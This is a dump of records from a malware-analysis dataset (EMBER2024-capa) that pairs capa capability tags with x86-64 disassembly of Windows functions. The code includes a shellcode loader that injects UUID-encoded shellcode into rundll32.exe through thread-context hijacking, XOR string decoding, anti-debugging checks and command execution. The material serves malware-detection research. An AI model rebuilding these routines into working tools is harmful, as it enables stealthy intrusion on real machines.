joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x5c0
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rsp + 0x5b0], rax
cmp edx, 1
jne 0x180001238
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
mov r8d, 0x1000
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
lea rbx, str.e48348fc_e8f0_00c8_0000_415141505251
mov rdi, rax
lea rbp, [0x180003ce0]
mov rcx, qword [rbx]
mov rdx, rdi
call qword [sym.imp.RPCRT4.dll_UuidFromStringA]
test eax, eax
jne 0x18000126b
add rdi, 0x10
add rbx, 8
cmp rbx, rbp
jl 0x1800010e0
mov rax, qword [rsi]
lea rdx, str.rundll32.exe
mov qword [r14], rax
xorps xmm0, xmm0
xor eax, eax
mov dword [rsp + 0x70], 0x44
mov dword [rsp + 0xd4], eax
xor edi, edi
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x70]
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
call qword [0x180005678]
test eax, eax
je 0x180001227
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xe0]
mov dword [rsp + 0x110], 0x10003
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x50]
lea r8d, [rdi + 8]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x50]
lea r9d, [rdi + 8]
mov rdx, rax
mov qword [rsp + 0x20], rdi
mov r8, r14
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xe0]
mov qword [rsp + 0x1d8], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
mov rcx, qword [rsp + 0x5b0]
xor rcx, rsp
call fcn.180001290
lea r11, [rsp + 0x5c0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x18000123d
Function at 0x14015a04b
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14036aad0
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 9], al
je 0x14036aaf3
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x14036aae0
mov byte [rcx + 9], 0
lea r8, [rcx + 8]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.14015d46c
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14015a0b4
Capabilities:
Get hostname

Disassembly:
jmp 0x1403fe150
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
movsxd rbx, edx
mov rdi, rcx
mov edx, ebx
mov byte [rcx], 0
call qword [sym.imp.WS2_32.dll_gethostname]
mov byte [rbx + rdi - 1], 0
test eax, eax
jne 0x1403fe189
lea edx, [rax + 0x2e]
mov rcx, rdi
call fcn.14015a5b4
test rax, rax
je 0x1403fe187
mov byte [rax], 0
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14015a2bc
Capabilities:
Receive data
Receive data on socket

Disassembly:
jmp 0x1403b1680
sub rsp, 0x28
cmp byte [rcx + 0x558], 0
je 0x1403b169d
call fcn.1401618ff
test eax, eax
jne 0x1403b16c3
xor al, al
add rsp, 0x28
ret
mov rcx, qword [rcx + 0x4c0]
cmp rcx, 0xffffffffffffffff
je 0x1403b1696
mov r9d, 2
lea rdx, [rsp + 0x30]
lea r8d, [r9 - 1]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x1403b1696
mov al, 1
add rsp, 0x28
ret

Function at 0x14015a5fa
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140361190
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x1403611c4
mov eax, esi
lea ecx, [rax + 0x7e]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x1403611b0
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.14015d46c
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x1403611e9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140161bcf
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140361263
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14036125e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14036125e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14015ffa0
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x14015a6c2
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
jmp 0x140359a30
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, Ordinal_79
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x238]
mov rax, qword [0x140534080]
xor rax, rbp
mov qword [rbp + 0x1e8], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140161373
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov ecx, VariantTimeToDosDateTime
call fcn.14015f631
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xc0000004
jne 0x140359afb
cmp qword [rbp + 8], 0
je 0x140359ac3
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [rbp + 0x24]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov ecx, VariantTimeToDosDateTime
call fcn.14015f631
mov dword [rbp + 0x44], eax
jmp 0x140359aa1
cmp dword [rbp + 0x44], 0
jge 0x140359b21
cmp qword [rbp + 8], 0
je 0x140359b1a
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140359c58
mov rax, qword [rbp + 8]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140359b37
xor eax, eax
jmp 0x140359c58
mov dword [rbp + 0x84], 0
jmp 0x140359b51
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
mov rax, qword [rbp + 0x68]
mov eax, dword [rax]
cmp dword [rbp + 0x84], eax
jae 0x140359c44
mov eax, dword [rbp + 0x84]
imul rax, rax, 0x128
mov rcx, qword [rbp + 0x68]
lea rax, [rcx + rax + 8]
mov ecx, dword [rbp + 0x84]
imul rcx, rcx, 0x128
mov rdx, qword [rbp + 0x68]
movzx ecx, word [rdx + rcx + 0x2e]
lea rax, [rax + rcx + 0x28]
mov rdx, rax
lea rcx, [rbp + 0xa8]
call fcn.14015d4c1
mov rcx, qword [rbp + 0x210]
call fcn.14015a9f6
mov qword [rbp + 0x1d8], rax
lea rcx, [rbp + 0xa8]
call fcn.14015a9f6
mov qword [rbp + 0x1e0], rax
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140359c33
mov eax, dword [rbp + 0x84]
imul rax, rax, 0x128
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx + rax + 0x18]
mov qword [rbp + 0xe8], rax
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1c8], rax
lea rcx, [rbp + 0xa8]
call fcn.14015b50e
mov rax, qword [rbp + 0x1c8]
jmp 0x140359c58
lea rcx, [rbp + 0xa8]
call fcn.14015b50e
jmp 0x140359b43
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140160054
mov rax, rdi
mov rcx, qword [rbp + 0x1e8]
xor rcx, rbp
call fcn.14015d7aa
lea rsp, [rbp + 0x1f8]
pop rdi
pop rbp
ret
Function at 0x14015a848
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
jmp 0x140402350
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140534080]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebp, ebp
mov dword [rsp + 0x20], 0xf0000040
mov rsi, r8
mov qword [rsp + 0x38], rbp
mov rdi, rdx
mov qword [rsp + 0x40], rbp
mov rbx, rcx
xor r8d, r8d
lea r9d, [rbp + 1]
xor edx, edx
lea rcx, [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1404023c0
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x8002
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov rcx, rsi
call fcn.14015c35a
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov r8d, eax
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], ebp
mov dword [rsp + 0x20], ebp
lea edx, [r8 + 2]
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp dword [rsp + 0x30], 0x10
jne 0x14040241e
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
mov r8, rbx
mov dword [rsp + 0x20], ebp
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14040242e
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140402440
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14015d7aa
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x14015aa8c
Capabilities:
Write file on windows

Disassembly:
jmp 0x14033f320
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14056730b]
call fcn.140161373
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x14033f377
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14033f483
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14033f41c
cmp qword [rbp + 0x28], 0
jle 0x14033f41c
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14033f3bc
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140160c89
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x14033f472
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x14033f472
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x14015ac5d
Capabilities:
Check processdebugport

Disassembly:
jmp 0x1402f9910
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140534080]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x140567420]
call fcn.140161373
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rbp + 8]
mov edx, 7
mov rcx, rax
call fcn.14015fe56
cmp qword [rbp + 8], 0
je 0x1402f9986
mov dword [rbp + 0xd4], 1
jmp 0x1402f9990
mov dword [rbp + 0xd4], 0
mov eax, dword [rbp + 0xd4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_accept
call fcn.140160054
mov eax, edi
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.14015d7aa
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14015acad
Capabilities:
Check processdebugflags

Disassembly:
jmp 0x1402f9740
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140534080]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x140567420]
call fcn.140161373
mov dword [rbp + 4], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 4]
mov edx, Ordinal_32
mov rcx, rax
call fcn.14015fe56
cmp dword [rbp + 4], 0
jne 0x1402f97bc
mov dword [rbp + 0xd4], 1
jmp 0x1402f97c6
mov dword [rbp + 0xd4], 0
mov eax, dword [rbp + 0xd4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_accept
call fcn.140160054
mov eax, edi
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.14015d7aa
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x14015b0a4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14036d6a0
cmp byte [rcx + 0x47], 0
je 0x14036d6c3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x14036d6b0
mov byte [rcx + 0x47], 0
mov rax, rcx
ret
Function at 0x14015b2b6
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14036d670
cmp byte [rcx + 0x44], 0
je 0x14036d693
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x43
jb 0x14036d680
mov byte [rcx + 0x44], 0
mov rax, rcx
ret

Function at 0x14015b365
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x1402f7230
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1405673db]
call fcn.140161373
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x270
jne 0x1402f726c
mov rcx, qword [rbp + 0x100]
call fcn.14015b69e
jmp 0x1402f7287
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x4e0
jb 0x1402f7287
mov rcx, qword [rbp + 0x100]
call fcn.14015d8c7
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x100]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rbp + 0xd4], eax
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
inc eax
mov rcx, qword [rbp + 0x100]
mov dword [rcx], eax
mov eax, dword [rbp + 0xd4]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shr eax, 0xb
mov rcx, qword [rbp + 0x100]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shr eax, 0x12
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x14015b388
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140361540
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x140361574
mov eax, esi
lea ecx, [rax + 0x7e]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x140361560
mov byte [r8 + 9], sil
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.14015d46c
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140361599
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140161bcf
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140361613
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14036160e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14036160e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14015ffa0
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x14015b554
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14036d3c0
cmp byte [rcx + 0x136], 0
je 0x14036d3e8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x135
jb 0x14036d3d0
mov byte [rcx + 0x136], 0
mov rax, rcx
ret
Function at 0x14015b5d6
Capabilities:
Set socket configuration

Disassembly:
jmp 0x1403c3cf0
sub rsp, 0x28
xor eax, eax
lea r8, [rsp + 0x38]
test edx, edx
mov edx, 0x8004667e
setne al
mov dword [rsp + 0x38], eax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
add rsp, 0x28
ret

Function at 0x14015b6ee
Capabilities:
Create thread

Disassembly:
jmp 0x1402c10e0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x140534080]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x1405673b3]
call fcn.140161373
mov edx, 8
lea rcx, [rbp + 8]
call fcn.14015c229
mov rdx, qword [rbp + 0x138]
lea rcx, [rbp + 8]
call fcn.14015d94e
nop
lea rax, [0x14015eb41]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x130]
add rax, 8
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 8]
call fcn.14015edf8
mov rcx, qword [rbp + 0xf8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rbp + 0x130]
mov qword [rcx], rax
mov rax, qword [rbp + 0x130]
cmp qword [rax], 0
je 0x1402c11ba
lea rcx, [rbp + 8]
call fcn.14015d174
jmp 0x1402c11d3
mov rax, qword [rbp + 0x130]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.14015b97d
nop
lea rcx, [rbp + 8]
call fcn.14015cf62
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_accept
call fcn.140160054
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.14015d7aa
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret

Function at 0x14015bbd5
Capabilities:
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
jmp 0x1403ff5c0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov r8, rcx
mov rbx, rcx
mov rdx, rdi
mov rcx, rsi
call fcn.1403ff860
lea r8, [rbx + 7]
mov rcx, rsi
lea rdx, [rdi + 8]
call fcn.1403ff860
lea r8, [rbx + 0xe]
mov rcx, rsi
lea rdx, [rdi + 0x10]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.1403ff860
Function at 0x14015bd42
Capabilities:
Execute command

Disassembly:
jmp 0x1402ff390
push rbp
push rdi
sub rsp, 0x288
lea rbp, [rsp + 0x20]
lea rcx, [0x14056742a]
call fcn.140161373
mov ecx, 2
call fcn.14015c378
lea rdx, [rbp + 0x124]
lea rcx, [rbp + 0x104]
call fcn.1402eeb70
mov rdx, rax
lea rcx, [rbp + 0xe4]
call fcn.140160441
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x144]
call fcn.1402f1f40
mov rcx, rax
call fcn.1401607fc
mov qword [rbp + 0x248], rax
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x184]
call fcn.1402f0b90
mov rcx, rax
call fcn.14015d17e
mov qword [rbp + 0x250], rax
mov r9d, 4
mov r8, qword [rbp + 0x248]
mov rdx, qword [rbp + 0x250]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 6
jne 0x1402ff46b
xor ecx, ecx
call fcn.14015c378
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x1f4]
call fcn.1402f30a0
mov rcx, rax
call fcn.14015fb59
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rsp, [rbp + 0x268]
pop rdi
pop rbp
ret
Function at 0x14015bef0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140361070
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 6], sil
je 0x1403610a4
mov eax, esi
lea ecx, [rax + 0x7e]
xor byte [r8 + rax], cl
inc rax
cmp rax, 5
jb 0x140361090
mov byte [r8 + 6], sil
add r8, 5
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.14015d46c
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x1403610c9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140161bcf
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140361143
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14036113e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14036113e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14015ffa0
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret